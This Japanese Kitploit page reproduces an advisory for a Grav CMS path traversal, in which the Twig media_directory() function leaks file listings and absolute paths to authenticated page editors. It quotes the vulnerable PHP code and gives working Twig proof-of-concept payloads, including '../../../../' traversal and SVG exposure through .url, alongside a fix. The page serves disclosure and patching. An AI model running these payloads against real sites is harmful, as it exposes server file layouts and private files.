Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-78851 — 技術勧告:Grav CMSのTwig `media_directory()` 関数における認証済みパストラバーサル脆弱性について詳述しており、任意のディレクトリ列挙とファイルシステムパスの開示を可能にします。 | Kitploit
ツール/GitHubGitHub/slo-cyber-sec/cve-2026-78851
脆弱性分析エクスプロイト情報収集ウェブセキュリティペネトレーションテスト
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

技術勧告:Grav CMSのTwig `media_directory()` 関数における認証済みパストラバーサル脆弱性について詳述しており、任意のディレクトリ列挙とファイルシステムパスの開示を可能にします。

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Grav 認証済みパストラバーサル / Twig media_directory() による任意ディレクトリ情報漏えい

報告者

名前: CYBER-SEC
連絡先: [email protected]

概要

Grav の Twig 関数 media_directory() は、ページコンテンツの Twig サンドボックス許可リスト内で公開されていますが、ストリーム以外の入力に対するパス封じ込めが適切に強制されていません。

ページ編集権限を持つ認証済みユーザーは、Twig が有効なページコンテンツ内で media_directory('/absolute/path') を呼び出したり、media_directory('../../../../path') のような相対トラバーサルを使用したりできます。Grav はその後、Web サーバーユーザーが読み取り可能なディレクトリからメディアタイプのファイルをインデックス化します。

返された Medium オブジェクトは、filepath や filename などのサンドボックス許可プロパティを公開するため、任意のディレクトリ列挙と絶対ファイルシステムパスの漏えいが発生します。画像/SVG ファイルの場合、URL またはキャッシュ生成により、Grav の公開キャッシュ処理を通じてファイルが公開される可能性があります。

これは認証済みの情報漏えい脆弱性です。認証なしでの悪用や直接的なリモートコード実行は可能ではないと認識されています。

影響を受ける製品

製品: Grav フラットファイル CMS
リポジトリ: https://github.com/getgrav/grav
影響を受けることを確認したバージョン: 2.0.3、2.0.4、2.0.6
コンポーネント: Twig media_directory() / Grav ページコンテンツ Twig サンドボックス

CWE

  • CWE-22: 制限付きディレクトリへのパス名の不適切な制限(「パストラバーサル」)
  • CWE-200: 不正なアクターへの機密情報の公開

CVSS v3.1

ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
基本スコア: 6.5 Medium

攻撃要件

  • 攻撃者は認証されている必要があります。
  • 攻撃者はページ編集権限を持っている必要があります。
  • Twig コンテンツ処理が有効である必要があります。
  • 対象ディレクトリが Web サーバーユーザーによって読み取り可能である必要があります。

技術的詳細

脆弱なシンクは以下にあります:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

関連するロジック:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

stream:// 入力のみが Grav のロケーターを通じて解決されます。ストリーム以外の絶対パスまたは相対パスは、正規の realpath() 検証、トラバーサル拒否、または承認された Grav 管理ディレクトリへの封じ込めなしに、そのまま new Media($media_dir) に渡されます。

この関数は、ページコンテンツの Twig サンドボックス許可リストを通じて公開されています:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

サンドボックスはまた、以下のような Medium メソッド/プロパティも許可しています:

root@kitploit:~
filepath
filename
url
cache
resize

これにより、認証済みのページ編集者が、任意の読み取り可能なディレクトリからファイル名と絶対パスを漏えいさせることができます。画像/SVG ファイルの場合、公開 URL/キャッシュ生成によりファイルコンテンツが公開される可能性があります。

概念実証

Twig コンテンツ処理が有効な状態で、Grav ページを作成または編集し、以下を挿入します:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

トラバーサル形式:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

画像/SVG 公開の例:

root@kitploit:~
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}

ページが保存されレンダリングされると、Grav は攻撃者が制御するパスからファイルをインデックス化し、ファイル名と絶対ファイルシステムパスを公開します。

確認済みの動作

linuxserver/grav:latest Docker イメージを使用して Grav 2.0.6 に対して検証済みです。

観察された結果には以下が含まれます:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

相対トラバーサルも確認されました:

root@kitploit:~
../../../../app/www/public

.url による SVG ファイルの公開も、管理されたローカルテスト環境で確認されました。

影響

認証済みのページ編集者は以下を行うことができます:

  • Web サーバーユーザーが読み取り可能な任意のディレクトリ内のメディアタイプファイルを列挙する。
  • 絶対ファイルシステムパスとファイル名を漏えいさせる。
  • アプリケーション構造とサーバー側ファイルシステムのレイアウトを把握する。
  • 機密ファイル、バックアップ、設定ファイル、ログ、またはデプロイメント成果物を名前で特定する。
  • 意図した Web ルート外の画像/SVG ファイルを、公開キャッシュまたは URL 生成を通じて公開する可能性がある。

この脆弱性は情報漏えいクラスであり、リモートコード実行として報告すべきではありません。

修正方法

推奨される修正:

  1. ページコンテンツの Twig サンドボックス許可リストから media_directory を削除する。

または:

  1. media_directory() に厳格な正規パス封じ込めを適用する:
  • realpath() を使用してすべてのパスを解決する。
  • トラバーサルシーケンスを含むパスを拒否する。
  • 承認された Grav 管理ルートの外に解決されるパスを拒否する。
  • user://pages、user://images、またはその他明示的に承認されたメディアディレクトリなどの安全なルートのみを許可する。
  • ファイルインデックス化の前およびキャッシュ/URL 生成の前にパスを再検証する。

開示

この問題は CYBER-SEC によって報告されました。

参照

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
ツールをダウンロード